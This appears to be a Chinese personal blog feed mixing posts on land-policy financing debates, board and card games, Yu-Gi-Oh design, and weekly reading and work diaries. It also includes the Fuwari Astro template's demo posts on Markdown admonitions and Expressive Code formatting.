—— from haofeng = =。几个问题：一、财政拨款的问题。要搞的话财政支出的哪一块进行拨款支出； 1.1非财政拨款，债务形式实现。由政府发债，银行进行借贷解决的话。参照地产模式，仍旧是银行作为贷款方，企业/政府发行债券，拿到钱后进行补偿；08--13年期间确实有此空间，相当于挤占了政府那会的卖地收入，减少了基础设施建设，变相补贴给进城居民； 1.2非财政、非债务，由央行直接印钞的话，那就会造成短期的通胀，而后经贷款、生产的供应链条，长时间后造成商品的通缩和企业的大规模呆坏账；其次仍有名额先后的问题； 1.3挤占现有财政资源。那对应领财政支出的项目就要减少。如果要搞，当下合理的应该是资产税——遗产税、地产税、离境税等税种进行收取，然后就新增地税源进行再分配、补偿。

但不论咋说，真正的问题是城乡不均等发展的问题。城乡不均等的局面，一方面是商品经济循环发展中的必然，另一方面却是现代生产分工模式下的必然。前者是资本利润增值为驱动，信贷增生的循环问题——不可能大规模全国一致化；后者则是人的发展和受教育问题，而这却是当下全世界的难题——穷却不思变的家风和宣传问题和阶级分化后的中产阶级对于阶级传承的问题——中国起码有高考的平均线；哪怕以不计后果的形式给了他们补偿，大量货币的凭空投放，市场生产、外汇、投资市场、养老和医疗资源的再分配会产生新的波动；而大量的货币投放，在一次（工资）、二次（税）、三次（养老社保）分配机制极其不完善的当下，我想最终也势必会造就新的财富分配平衡（罗马和牛马问题，基尼系数再次增大），新的阶级剥削罢了。

从政策制定者来说，不确定性太大了，稳定＞发展——现在连每年应届毕业生的1000万就业都困难，国际环境波诡云谲，资产税都不敢提的当下，我觉得这类变革风险极大，要搞、要论可以，当我们人民币真正的东亚化，能收铸币税，当我们的资产税能收起来再说这个也不迟

二则是执行的问题。不展开了，古往今来，好的政策，而执行的乱七八糟的多了去了。当年的4万亿初衷一定是好，最后怎么搞成影子银行，这些故事的映射到最后，都是人的问题——作为父母官，你怎么能干这事？？也因此，为啥我对人性是持悲观态度的——鲁迅说的对啊：我翻开历史一查，这历史没有年代，歪歪斜斜的每页上都写着“仁义道德”几个字。我横竖睡不着，仔细看了半夜，才从字缝里看出字来，满本都写着两个字是“吃人”！

—— from 老李的观点

首先第一点，土地资源是优质资产，财政拨款不是问题，烂债都有一堆人投，烂项目也能骗到政府，这种优质项目害怕没人投？所以你提的问题根本不存在。我之所以反复列举出虎门大桥的案例就是如此，优质项目不怕没钱。怕就怕钱都去了垃圾项目。

第二点，发展》》》稳定，中国社会这20几年的发展极端迅速，除开文化与政策跟不上以外，快速的发展掩盖了大量问题。现在是一个问题集中爆发时期，所以感觉会相对困难。空谈稳定是没有意义的，这个社会已经不是农业时代了，所有问题都只能在发展中解决，停滞等同于后退。所谓的维持稳定，不过是不去解决现有问题的一种托辞，一种懒政。只是无视问题，那么矛盾积累到一定程度只会引来更大的爆发。具体可以参考90年代国企大破产，2022年12月的风波。

执行与决策，最重要是决策要有科学性，要充分民主讨论，科学决策。而不是一拍脑袋，或者领导者只关注自身的一种晋升。缺乏民主监管的决策，是危险的，这才是“本意是好的”所讽刺的情况。

再次 from haofeng

只能说太理想了。

第一点，补补财政和财经类的书籍科目。我说的是宏观大循环，你说的是商品销售和资金归拢，不是一个事。首先不是每个都是虎门大桥，能长期，稳定盈利；其次，用地目的的好坏评价标准和评价方，太专了且太归拢了，很难做到民主监督和科学评价（类似于当下某校的学阀）；再尔，在24年的当下，好的项目（盈利且有产出）在当下不会被卡，作者写书的时候（13年）可能有项目因此无法及时上，现在不同。相当于无视很多问题强推，同时也没法解析通胀和随之而来的坏账问题。

至于监管，监督，那是官僚资本主义的问题。苏联就是这么凉了的。教员对此深恶痛绝。抗日，统一战争，越战，三大改造，一次二次五年计划，都是和苏联紧密合作的，他也看到苏联的官僚化和思想的异化，也看到了国内的阶级化，他也因此更悲观了，这是为啥，他主导搞了那10年了——把造反有理，民主监督，和农民的不易深深地传递下去罢了

真正的民主，法治大家都希望，可如何去做？文革从结果来说，有利有弊，可随着改开和国际的深化，大家都在追名逐利和拜物主义化了。

而参政议政又涉及专业认知，意识形态斗争和个人的意愿等其他问题。

起码目前的文明进程吧，没有先例

先记录如下吧，很多事情也不是一下就能分清对错的🤣

狼人杀的一些总结

从大学开始入门，到现在狼人杀至少也玩过几十次了吧。虽然有那么多人吐槽这游戏的不好，但不管怎样，这依旧是最适合多人聚会的游戏

最近和书友们玩的有点多（对，我们就是打着读书的幌子来聚会而已），总结下来几条新的经验

狼人杀无非是个站边拉票的游戏，一定要站边，不管站对站错其实作为一个非预言家的神，很容易陷入自我纠结中，在平民无脑站队的时候，总是会去怀疑是不是焊跳狼，但很多时候真的没必要想太多，想太多反而容易暴露自己，所以有时候无脑站队就完了，输了怪预言家
预言家一定要很勇敢地跳出来，及时表明自己的身份这应该是最简单的道理了，但很多新手玩的时候却不敢跳。duck不必，直接跳，反正预言家也就两轮，两轮后必死hhh
女巫第一晚救不救很难说，但如果被刀了就不要说自己是女巫了嗯，算是一个坑吧，因为很容易让屠边局的好人输掉

桌游

深圳连续几天都是大雨，连周末也不放过。周日那晚和cloris一起去玩了桌游，第一次接触到了那么多种类的桌游，不再局限于三国杀了😄。印象比较深的两人桌游中，昆虫棋是我比较喜欢的类型了，六边形的棋子，每一个棋子都有不同的功能，最终的目标是围住对面的蜂后，设计思路让我击节赞叹，但实际上手玩起来后发现，其中的复杂程度着实让我头晕了，但对于刚接触这个游戏的两人来说，先手优势是很大的，所以我两把都输了🐶

相较而言，多人桌游的设计似乎有点套路公式化了，且基本都依赖相当多的道具，这一点是让我觉得玩桌游比较麻烦的，因此自己也不会去买，想玩的时候去桌游店体验就好了。我们与另外两位玩家拼桌打了两把《花砖》，设计思路和《璀璨宝石》相差不多，都是属于拿砖/宝石，组合策略，或者卡住对手，来计算分数的游戏

在桌游店的另一个好处就是可以切换玩多种类型的桌游，没想到我们最后沉迷的竟然是《达芬奇密码》哈哈哈，这款猜对方数字的游戏无论是策略性还是趣味性都算是拉满了。最搞笑的是，我的每一句话都容易被对手利用，从而给出一些排除的信息，以致于我最后都不敢说话了，两人默不作声，抓牌，看牌，再对视思考，一直玩到凌晨三点左右🤣

游戏

作为曾今的DM遗老，当然我也看完了5ds，对于游戏王一直都保有情怀，也曾玩过duel links，但沙雕游戏又肝又氪后面弃坑去玩了一段时间《万智牌》。相较而言，万智牌的设计其实更加科学，玩法也拓宽了，轮抓的经济性更是让我研究了好久，但奈何感受不到作为一名旅法师的荣耀，于是也渐渐退坑

后来k社发布了最新的游戏王master duel，最开始也顶着英文的压力沉迷了几个月，不过后来因为种种原因还是退坑了。但最近想打牌的心情又压抑不住了，于是回坑了master duel，刚巧这游戏不久前也发布了中文版本，于是直接买初始号组卡。不得不说master duel初始号转生的方式很是值得，分解合卡的机制值得给k社安排一个🐴

先后玩了白银城、蛇眼、转生炎兽、珠泪等卡组，作为一个只会背公式的玩家，基本是照抄b站大佬们的攻略。这游戏能经历这么多年的演化，从仪式召唤，上级召唤，融合召唤，同调召唤，超量召唤，灵摆召唤到链接召唤，游戏王设计师们的脑洞确实足够大，设计思路也是一脉相承，不像隔壁三国杀，某东吴命运线的设计那都不是开脑洞了，属于是开天眼了

最近也看到B站一个up分析游戏王召唤方式的演化思路，结合他的分析我也简单列下我的思考。同调召唤其实是为了弥补仪式召唤的弱点，这两种方式都是算卡片等级的加法，但仪式召唤，不仅占用主卡位，而且必须上手仪式魔法卡，使得这一召唤方式让玩家挫败感很强，毕竟不是谁都有主角那样与卡组的羁绊。于是设计师的思路就将其挪到额外卡组，并且不再需要魔法卡的辅助，再结合小怪兽们多次特招，来弥补一回合一次的通召限制。不得不说，结合5ds，蟹哥的主角人设，就是联合弱小的力量，聚集的祈愿将会化为光芒闪耀的道路！

但同调怪兽的效果又过于超模，此时设计师们自然就像去限制卡牌的效果发动次数，此时XYZ召唤，即超量召唤就诞生了，两卡叠放，发动效果拔除素材，XYZ召唤正如其名，让二维的卡牌又多了新的维度。并且正如同调召唤后续演化出了加速同调，超量召唤，也增加了升阶、多次叠放，让可玩性进一步上升。

灵摆召唤则又是一次新的突破，这个玩法设计的很好，但很难设计出强度和可玩性都达标的卡片。链接召唤最开始出现是为了做减法，但后续规则的变更，又让链接怪兽成为了新的泛用卡，毕竟相比同调的凑星星，链接召唤的限制更少。

Markdown Extended Features

Wed, 01 May 2024 00:00:00 GMT

GitHub Repository Cards

You can add dynamic cards that link to GitHub repositories, on page load, the repository information is pulled from the GitHub API.

::github{repo="Fabrizz/MMM-OnSpotify"}

Create a GitHub repository card with the code ::github{repo="<owner>/<repo>"}.

::github{repo="saicaca/fuwari"}

Admonitions

Following types of admonitions are supported: note tip important warning caution

:::note Highlights information that users should take into account, even when skimming. :::

:::tip Optional information to help a user be more successful. :::

:::important Crucial information necessary for users to succeed. :::

:::warning Critical content demanding immediate user attention due to potential risks. :::

:::caution Negative potential consequences of an action. :::

Basic Syntax

:::note
Highlights information that users should take into account, even when skimming.
:::

:::tip
Optional information to help a user be more successful.
:::

Custom Titles

The title of the admonition can be customized.

:::note[MY CUSTOM TITLE] This is a note with a custom title. :::

:::note[MY CUSTOM TITLE]
This is a note with a custom title.
:::

GitHub Syntax

[!TIP] The GitHub syntax is also supported.

> [!NOTE]
> The GitHub syntax is also supported.

> [!TIP]
> The GitHub syntax is also supported.

Spoiler

You can add spoilers to your text. The text also supports Markdown syntax.

The content :spoiler[is hidden ayyy]!

The content :spoiler[is hidden **ayyy**]!

Expressive Code Example

Wed, 10 Apr 2024 00:00:00 GMT

Here, we'll explore how code blocks look using Expressive Code. The provided examples are based on the official documentation, which you can refer to for further details.

Expressive Code

Syntax Highlighting

Regular syntax highlighting

console.log('This code is syntax highlighted!')

Rendering ANSI escape sequences

ANSI colors:
- Regular: [31mRed[0m [32mGreen[0m [33mYellow[0m [34mBlue[0m [35mMagenta[0m [36mCyan[0m
- Bold:    [1;31mRed[0m [1;32mGreen[0m [1;33mYellow[0m [1;34mBlue[0m [1;35mMagenta[0m [1;36mCyan[0m
- Dimmed:  [2;31mRed[0m [2;32mGreen[0m [2;33mYellow[0m [2;34mBlue[0m [2;35mMagenta[0m [2;36mCyan[0m

256 colors (showing colors 160-177):
[38;5;160m160 [38;5;161m161 [38;5;162m162 [38;5;163m163 [38;5;164m164 [38;5;165m165[0m
[38;5;166m166 [38;5;167m167 [38;5;168m168 [38;5;169m169 [38;5;170m170 [38;5;171m171[0m
[38;5;172m172 [38;5;173m173 [38;5;174m174 [38;5;175m175 [38;5;176m176 [38;5;177m177[0m

Full RGB colors:
[38;2;34;139;34mForestGreen - RGB(34, 139, 34)[0m

Text formatting: [1mBold[0m [2mDimmed[0m [3mItalic[0m [4mUnderline[0m

Editor & Terminal Frames

Code editor frames

console.log('Title attribute example')

<!-- src/content/index.html -->
<div>File name comment example</div>

Terminal frames

echo "This terminal frame has no title"

Write-Output "This one has a title!"

Overriding frame types

echo "Look ma, no frame!"

# Without overriding, this would be a terminal frame
function Watch-Tail { Get-Content -Tail 20 -Wait $args }
New-Alias tail Watch-Tail

Text & Line Markers

Marking full lines & line ranges

// Line 1 - targeted by line number
// Line 2
// Line 3
// Line 4 - targeted by line number
// Line 5
// Line 6
// Line 7 - targeted by range "7-8"
// Line 8 - targeted by range "7-8"

Selecting line marker types (mark, ins, del)

function demo() {
  console.log('this line is marked as deleted')
  // This line and the next one are marked as inserted
  console.log('this is the second inserted line')

  return 'this line uses the neutral default marker type'
}

Adding labels to line markers

// labeled-line-markers.jsx
<button
  role="button"
  {...props}
  value={value}
  className={buttonClassName}
  disabled={disabled}
  active={active}
>
  {children &&
    !active &&
    (typeof children === 'string' ? <span>{children}</span> : children)}
</button>

Adding long labels on their own lines

// labeled-line-markers.jsx
<button
  role="button"
  {...props}

  value={value}
  className={buttonClassName}

  disabled={disabled}
  active={active}
>

  {children &&
    !active &&
    (typeof children === 'string' ? <span>{children}</span> : children)}
</button>

Using diff-like syntax

+this line will be marked as inserted
-this line will be marked as deleted
this is a regular line

--- a/README.md
+++ b/README.md
@@ -1,3 +1,4 @@
+this is an actual diff file
-all contents will remain unmodified
 no whitespace will be removed either

Combining syntax highlighting with diff-like syntax

  function thisIsJavaScript() {
    // This entire block gets highlighted as JavaScript,
    // and we can still add diff markers to it!
-   console.log('Old code to be removed')
+   console.log('New and shiny code!')
  }

Marking individual text inside lines

function demo() {
  // Mark any given text inside lines
  return 'Multiple matches of the given text are supported';
}

Regular expressions

console.log('The words yes and yep will be marked.')

Escaping forward slashes

echo "Test" > /home/test.txt

Selecting inline marker types (mark, ins, del)

function demo() {
  console.log('These are inserted and deleted marker types');
  // The return statement uses the default marker type
  return true;
}

Word Wrap

Configuring word wrap per block

// Example with wrap
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

// Example with wrap=false
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

Configuring indentation of wrapped lines

// Example with preserveIndent (enabled by default)
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

// Example with preserveIndent=false
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

Collapsible Sections

// All this boilerplate setup code will be collapsed



const engine = someBoilerplateEngine(evenMoreBoilerplate())

// This part of the code will be visible by default
engine.doSomething(1, 2, 3, calcFn)

function calcFn() {
  // You can have multiple collapsed sections
  const a = 1
  const b = 2
  const c = a + b

  // This will remain visible
  console.log(`Calculation result: ${a} + ${b} = ${c}`)
  return c
}

// All this code until the end of the block will be collapsed again
engine.closeConnection()
engine.freeMemory()
engine.shutdown({ reason: 'End of example boilerplate code' })

Line Numbers

Displaying line numbers per block

// This code block will show line numbers
console.log('Greetings from line 2!')
console.log('I am on line 3')

// Line numbers are disabled for this block
console.log('Hello?')
console.log('Sorry, do you know what line I am on?')

Changing the starting line number

console.log('Greetings from line 5!')
console.log('I am on line 6')

Simple Guides for Fuwari

Mon, 01 Apr 2024 00:00:00 GMT

Cover image source: Source

This blog template is built with Astro. For the things that are not mentioned in this guide, you may find the answers in the Astro Docs.

Front-matter of Posts

---
title: My First Blog Post
published: 2023-09-09
description: This is the first post of my new Astro blog.
image: ./cover.jpg
tags: [Foo, Bar]
category: Front-end
draft: false
---

Attribute	Description
`title`	The title of the post.
`published`	The date the post was published.
`description`	A short description of the post. Displayed on index page.
`image`	The cover image path of the post.<br/>1. Start with `http://` or `https://`: Use web image<br/>2. Start with `/`: For image in `public` dir<br/>3. With none of the prefixes: Relative to the markdown file
`tags`	The tags of the post.
`category`	The category of the post.
`draft`	If this post is still a draft, which won't be displayed.

Where to Place the Post Files

Your post files should be placed in src/content/posts/ directory. You can also create sub-directories to better organize your posts and assets.

src/content/posts/
├── post-1.md
└── post-2/
    ├── cover.png
    └── index.md

周报26 赤子之心、读书页面与对技术的追求

Sun, 03 Mar 2024 00:00:00 GMT

周报26 赤子之心、读书页面与对技术的追求

等公交车是一件最为莫过奇妙的事情了

你看着地图上明明接近了，结果半天没看到

等你放弃张望了，这时它才不紧不慢地，慢悠悠地，仿佛故意气你样的开过来

以前我是不太敢坐公交的，甚至有些害怕

因为在老家，公交车是需要挥手招呼才会停下来的，什么时候来一辆公交车也是随机的，完全靠运气

下车就更难受了，你要学着模仿大人的口气，喊出一声“下车！”，更遑论还有大爷大妈回过头来，用一种幽暗的目光盯着你，那种目光射在小孩眼里，是最难受的，因为它毫无感情，毫无温度

小孩的内心是很敏感的，任何哪怕一点小事都有可能在其心中留下难以抹去的印象，这也就是所谓原生家庭，原生环境对人的影响了

似乎任何一本书上，但凡涉及到所谓”突破”，”觉醒”，”宝典”之类的书籍，总是要提到，当你不再被他人的目光所影响，你就真正成熟了，长大了

我是个实用主义者，我一直认为，这些写书的人，都该被斩立决，外加诛九族

怎么可能不在意别人的目光呢！当一百双眼睛看向你的时候

人的眼睛是最会说话的，要不然为什么那么多人研究蒙娜丽莎的微笑，那望向你的目光中，如怨如慕如泣如诉

尤其是在乡下，在老家，在一个被低维展开的城市里，你的一举一动，都要被那些左邻右舍，上亲下戚所窥探，他们的目光是能杀人的！（请参考阿Q正传）

历史是由最朴素人民创造的，但我也无法承受这杀人的目光，哪怕闭上双眼，犹然如芒刺在怀

一些和周报主题无瓜的想法，是为本周报序

赤子之心

这次开工后春茗，老板照例送给我们一段话：“不失赤子之心”

（去年是“敬创造，也敬怀疑”，前年是 “2022保持独立思考”

然后就是照例会有一本总结23年业务的书了，其中我摘录了一些

看到“分分捐”产品设计的时候差点类目，这应该是去年最有温度的产品了吧

用Notion搭建一个读书页面

起因是看到了Randy搭建的一个读书乐园：

前言 | Randy 的读书乐园 (lutaonan.com)

其实我春节也在做类似的事情，但奈何春节基本都沉迷在玩p3r了🤣，导致进度缓慢

Notion搭建一个读书页面还是挺简单的，除了自定义域名还比较麻烦（貌似也有解决方案在研究中

https://rayepeng.notion.site/da0fea51586945c6bd7b84c5587041b0?v=7aa15763e05b493195750e2368af0bce

把自己看过的一些书摘录和书评都记录在Notion上了，突然就有了看书的动力（bushi

昨天看到内部论坛有人提了一个问题：

看过很多提高阅读速度的方法，感觉都提不上来，可能是因为方法不对吧。求问有没有提高阅读速度的方法？或者有没有书籍、文章可以推荐？

想不到我对这个问题还挺有看法的，于是就一口气写了答案

其实如果只看文字不加理解的话，你的阅读速度是可以达到很快的🐶

但是要搭配上对文字的理解，整体速度自然就会慢下来了，但这并不是你的问题，不妨先想想

为什么要提高阅读速度，是否受那些所谓“自律”的博主影响，比如一年读完几百本书的，一周读完几十本书的...看着就让我反胃
选择的书籍本身也会影响你的阅读速度，就我个人经验来说，哪怕是名家写的文章，有时候一段话读个半天也不知道要讲什么，更遑论很多作者人称指代不明确，以及糟糕的翻译质量... 有些文字就是要慢读，有些口水文就是可以读很快，爽文甚至可以快到飞起🐶
重新回到问题，我们看国产剧的时候，某些片段其实跳过对于理解剧情没有任何影响（哪怕《繁花》我也有部分是跳过去看的），读书不也可以这样么，一些无关的段落跳过，一些章节也可以跳过，反正书就在那里，没看懂回过头去看不就好了（这一点纸质书其实比较有优势，我以前读纸书就喜欢跳着看结尾哈哈哈🐶
更进一步，AI对于阅读已经有很大帮助了，微信读书的AI大纲还挺好用的，助力快速阅读max🐶
最后，名家的作品还是需要慢慢来读的，毕竟语言的魅力就在于细细的品读，人家写篇文章都要花那么长时间推敲，你花个人家一半的时间来阅读一下怎么了？🐶
最后的最后，不妨多花点时间看看吧，勤能补拙，读得慢有读得慢的好处，如果想要快速吸收知识，那我选择三分钟短视频速读然后去装X 🐶

工作久了，看待问题的思路也发生了变化，往往会习惯性去问一个为什么。这时候的思路一下就开阔了许多。

对技术的追求

摘录一段p牛的话：

原文链接：三年 | 离别歌 (leavesongs.com)

经常有人问我，我是怎么成长起来的。我今天在这里分享一个最简单的答案：对技术，我是有目标的，我的目标很简单，就是让我的博客不停更。如果有一段时间我博客一个月没有新文章，我就会特别着急，我会想我能研究什么东西，然后写一篇日记。

当然，慢慢的我发现，自己经常会有时间研究各种东西（不用愁没有东西写），当然也会失败，失败并不可怕，可怕的是没有竭尽全力就半途而废。我也做过很多半途而废的事情，也说过很多不负责的言论，但这些点滴都在我的博客里我永远不会删。

安全界有个很知名的理论：“不能够相信用户的所有输入”，但我坚决不支持这句话被放到现实生活中，我选择相信而不是怀疑。怀疑的生活会变得很累，如果你总是考虑怎样去防范他人。

上周二，我导师也在日常吹水群里转发了一篇文章链接《C++17在业务代码中最好用的十个特性》，并@我们这些小鲜肉们：

人老了就学不进去。。。 @所有人鲜肉们是这样吗？现在可还有兴趣学这个？

我导师的观点是，现在看到这些已经没有什么兴趣了，直接自动划走，工作里也用不到，接着他又反问了一个问题：

但讲道理，我们都是后台开发，为啥看到 cpp 多少多少个特性，会绕开呢，，想一想，是不是底层的畏难情绪？

我：日常开发确实很难用到这些C++特性吧，但如果换成是JS的十个特性，我绝对会很兴奋的

我导师还是挺好玩的，对于新技术一直抱有激情，他回想起刚毕业那段时间，对这些底层知识还是很感觉兴趣的，windows 核心编程看了好几遍，以及 unix 高级编程等等

曾几何时（我偏要用错这个成语🐶），大学时候的我们还立志要啃完那些龙书虎书X书

现在变成了天天写C代码，一年到头也手写不了几个class

重载 ? no 继承 ? no 多态 ? no sql 性能调优 ? no 编译原理 ? no 系统编程 ? no ....

这几天也承担了面试实习生的工作，我在面试他们到时候，偶尔也会思考下比我还小的鲜肉们是什么心态，他们恐怕现在正如同我当年，怀揣着对技术的一腔热火，在工作后的几年里快速地被浇灭吧

但我还是愿意相信，面对这些新颖的技术名词，我总还是会爆发出一些热情的，毕竟做技术的人都有着类似登山一样的壮志：因为它就在那里

读书会——美国增长的起落

主讲人是香港人（普通话确实不太标准哦🤣）而且他讲的内容，基本都是书中的摘录，极其零散。尤其是没有做任何的铺垫，纯纯的干讲。

我还是很佩服这种勇气（换我纯粹干讲是不可能讲的下去的哈哈）。不管是写东西，还是讲东西，起兴都是一种很常见也很实用的技巧，在古诗文中尤其常见。我在分享自己的观点是，譬如讲到荷兰“海上马车夫”的时候，我会先说自己在文明六游戏如何扮演一个文明走上商业帝国之路，譬如讲中美文化对比，我会先从象棋与国际象棋的记谱方式作对比。

去年经常见到的一种句式就是，你要写XX，就不能只写XX，还要写YYY，ZZZ等。这就是一种常见的讲述方式了，永远先荡开一笔，然后再收拢回来，这就是斯堪的纳维亚钟摆！（语出《飞驰人生》）

这次分享美国崛起，主讲人干巴巴地分享结束后，大家就各自讨论了。自然地，会有那种稍许崇洋媚外的观点出现，本来我是不太想讲啥的，但听着听着，突然又有了一点想法，当场就顺口说了，也权且记录下

中国和西方的对比从象棋记谱的方式就可以看出来，譬如走当头炮，炮二平五，你会发现中国象棋的记谱是很实用的，很方便你背下来，都是四个字四个字的。但反观国际象棋，人家就很严谨的要记录每个点的坐标，从A点移动到B点。如果你仔细思考，你就会被老祖宗的智慧给折服，我们都不需要纵坐标，光靠横坐标，再结合平、进、退就足以描述二维平面上点的运动了。其实我一直在想，要是我们的文化在近代后持续独立地演化，其实也能形成类似西方的数学体系，只是我们的描述方式一定是不同于西方，更偏向实用主义的
讲到美国的崛起呢，我总觉得偶然中有一些必然。读过《枪炮，病菌与钢铁》这本书的人应该都记得，文明在同一经度上传播是很方便，因为地理气候都是比较相似的。我们看到，北纬40度线左右，其实恰好穿过了中国北方，欧洲，还有美国五大湖附近，这也是人类历史上相继崛起的几个文明（埃及和古巴比伦原谅我把你们忽略了，以为你们的持续时间太短了）。但为什么是从中国向西传播呢？这其实也有一点必然，因为生产力的原因，一定是适合于农业生产的地方先发展起来。而中国所处的长江黄河流域恰好有雨热同期的季风适合农业作物生长（对比欧洲温带海洋一年内气温都比较均匀也没啥变化，北美那就更没法发展灌溉农业了，冬夏穿堂风嗖嗖地刮），所以农业时代就先从中国起步，再沿着经线向西传递到欧洲，欧洲农业文明不太行就发展了海洋文明，继续向西，传递到美洲，美洲又刚好赶上了工业革命，原本不适合农业生产的气候，有了科技加持，也可以生产大量的粮食了。三体里曾经提到过，如果模拟一个地球环境，设置完全相同的参数，是否可以演化出如今的文明？我觉得不太可能完全一样，但这其中的主线我估计还是一样的

记录

以后所有的记录就都会自动同步到个人频道啦，https://t.me/RayeJourney

不过也会摘录一些放在博客里（因为并不是所有的都同步过去了）：

文章

视频

孙权到底有没有资格当皇帝？【神奇皇帝】_哔哩哔哩_bilibili
赛车究竟有多费钱？_哔哩哔哩_bilibili
德国的三魂七魄（德国上篇）_哔哩哔哩_bilibili 最近对欧洲地理挺感兴趣的，看了好多
30分钟带你全面了解法国_哔哩哔哩_bilibili
20分钟带你全面了解德国_哔哩哔哩_bilibili
30分钟带你全面了解英国_哔哩哔哩_bilibili
从英格兰到大不列颠为何花了700年？英格兰、苏格兰、威尔士与爱尔兰的相爱相杀！_哔哩哔哩_bilibili
中炮威力最大化中炮布局的基本逻辑_桌游棋牌热门视频 (bilibili.com) 下象棋好难啊，一直在学..
1981年的中国发生了什么？【激荡四十年·1981】_哔哩哔哩_bilibili 朋友推荐的，对于理解改革开放后的中国还是挺有用的

纪录片

鸟瞰欧洲第一季 (豆瓣) (douban.com) 上周日读书会分享了荷兰大国崛起的主题，突然对欧洲开始感兴趣，于是找到了这部纪录片（网上居然还真有人说荷兰和四川省面积差不多…感觉没有任何地理常识了…

游戏

女神异闻录3 重制版ペルソナ３リロード (豆瓣) (douban.com) p3r还是挺好玩的，但还是比不上p5r，夜晚可去的地方很少，以及放暑假的时候完全不知道干嘛。
地平线西之绝境 Horizon Forbidden West (豆瓣) (douban.com) 这周终于通关了，但还是有好多成就没解锁，以及，我甚至不理解这个故事到底讲了啥…

周报25 茶会话、读书会与《悉达多》

Sat, 24 Feb 2024 00:00:00 GMT

周报25 茶会话、读书会与《悉达多》

回看自己的文章，有时候真有一种和过去的自己对话的奇妙经历

我不是一个特别擅长表达的人，也在努力让自己的语速变慢，说话更有条理，强迫自己用1.2.3.这样的方式来使得说话更有结构性

不过这终究比不上写作来的舒服，文字的排列组合是美妙的，是一件很有创意的事，是可以让你击节赞叹的

虽然不同的人有不同的观点，比如“写给自己看的博客就不要发出来啊”，”我写过的文章就不用再回过头去看了啊“ 诸如此类

何必呢，一定要给自己附加这些条条框框，仿佛一个强迫症患者，面对马路上的瓷砖，规定自己不能踩到边线一样

文字，学了之后，就是用来写，用来读的。我们一边说着不要给自己设限，一边又给自己限制一些不可理喻的条件

总觉得怪怪的（

是为本周报序

茶话会

参加了一个读书群的线上茶话会，大家线上接入腾讯会议，聊聊各自的23年

席间听到了很多不同年龄段人的感悟，或有因为同事疯狂卷而吐槽的，或有老板pua愤而离职的，说实话我觉得收获不太大，听来听去都是一些茶余饭后的吐槽罢了

但我又有了另一种想法，因为听到一个在新加坡工作的人说，他们的leader在年初就会说清自己今年的休假规划，让下属在他休假的时候不要去打扰他

我顿时生出了一种厌恶感，为什么我们每次一谈到工作的对立面，就一定要提到诸如，去马尔代夫潜水，去阿尔卑斯山滑雪，这些真的很重要吗，这些真的就是所谓的诗和远方吗

在一定程度上我能理解，这是对当前生活的一种逃离，是对自我的一种放逐。但我所求的，不过就是吃一顿饭的满足，不过就是翻开一页书的喜悦，不过就是行走在香樟树下，微风拂过的一缕淡淡芳香吗

我突然想到了《悉达多》，这本我曾经评价不是很高的书，我现在又有了新的感悟

悉达多最开始也是一个约束自己的沙门，这就像我们打工人每天要面对自己繁杂的工作一样。但当他领悟到世间的美好时，他便开始放纵自己，但他的这种放纵，却只是一种报复性的，因为他终究不可能推翻自己曾经的过往

于是最终悉达多守着一条河流度过了余生。

一生的尺度太长，我一天就能亲历悉达多的经历：早上还信心满满要解决问题，谁都不准来打扰我，仿佛此刻我就是无欲无求的佛祖。结果一到下午就发现无法坚持下去了，开始放纵自己摸鱼。

然而内心还是告诉我，不能放弃，最后回到正常的轨道，守着那些未解决的问题，开始慢慢理清头绪

坦然接受自己的欲望，直面它，不逃避，这就是阅读悉达多所学到的

游戏

也许23年因为本命年的关系，做啥啥都不成，游戏其实也没怎么坚持玩，等我回过头来发现还有好多想玩的游戏都没怎么动..

卧龙的那只老虎我一直没打过去
空洞的第一个boss也没有过关
匹诺曹的第一个小boss我死了后就再也没打开了

但当我这几天开始沉入其中，去真正体验的时候，才发现这些游戏设计的是多么好

卧龙的化解机制，玩起来是真的爽。
空洞的地图设计、bgm、场景，人物，每一个都能给我带来惊喜
匹诺曹的艺术风格我也很喜欢，这种独自一人漫步在漆黑的小巷子里带来大量的多巴胺刺激

我不由得想，其实真正去做也没那么难，多看几个攻略，多找几条路就很快了

但我以前总是遇到稍微大一点的困难就放弃了，然后随着时间越拖越久，其实自己也是记得的，但就是不敢迈出那一步去做，由此不断堆积，进而产生了恐惧心理

成功的人总是善于去找各种办法，找各种助力来帮助实现

失败的人，或者懒惰，不想动的人，其实本质在于不想求变

你只要想到每时每刻都是变化的，你做任何一件事其实都是在尽全力，并没有说哪一件事就是很轻松，你才能豁然

我们经过长夜，本以为黑暗无边，但其实只要敢于抬头，月亮还是在的，敢于迈开一步，路也还是在的，不求顺风顺水，但求走过的每一步都是在不断地接近终点

道德经分享会

成为读书会理事后，我也算是第一次帮忙主持下一场读书会（我不是主讲人哦）

其实要做的事情也不算太多，前期准备主要是发一发通知之类的，并不算麻烦，现成的模版复制粘贴，确认下时间地点不要出错即可

难的是通知的传达，视角的转变有时候是很难的，所以多去经历不同人的生活才能换位思考

作为发布通知的人来看，信息已经足够清晰，只需要花上几十秒即可快速获得

但是偏偏还会有人上来就问...刚开始可能还会愿意解答，但随着次数变多，人性也是会倾向于不耐烦的

不过好歹我也是曾扮演过参与者，也能做到换位思考（毕竟微信这种拉胯的app，消息折叠，遗漏，加载慢又不是没遇到过）

读书会分享当天也没出差错，设备之类的我早已熟悉，唯一要吐槽的就是音频线，似乎所有地方的音频线都是无用的（可能因为本身用的也少吧）

读书会分享人是一个漂亮的小姐姐，而且是一个典型的I人了。

I人有什么特征呢，就是特别怕冷场，担心尴尬，于是会不断地找话题，嘴巴就停不下来哈哈哈。而且I人特别喜欢吐槽自己，比如说自己没有准备好之类的等等

不过我并不太在意这些，我觉得读书会更多的是听一个人的故事

比如她讲高考考试前的紧张焦虑

讲自己的朋友被车撞了缝了几根针

讲自己学习转念的经历

讲自己心酸的准备过程，

还讲了很多好笑的梗，虽然有些在大家看来跳跃性太大了哈哈

你要说这些有什么意义呢，我也觉得没什么，但我就是喜欢听，喜欢听同样的事发生在另一个人身上

📮 Newsletter

以后所有的记录就都会自动同步到个人频道啦，https://t.me/RayeJourney

不过也会摘录一些放在博客里：

https://saveweb.github.io/review-2023/
https://iconce.com/
https://github.com/malinkang/weread2notion
https://tgso.pro/
https://niracler.com/nyaruko-deploy-for-xlog

过年的一些碎碎念

Sat, 24 Feb 2024 00:00:00 GMT

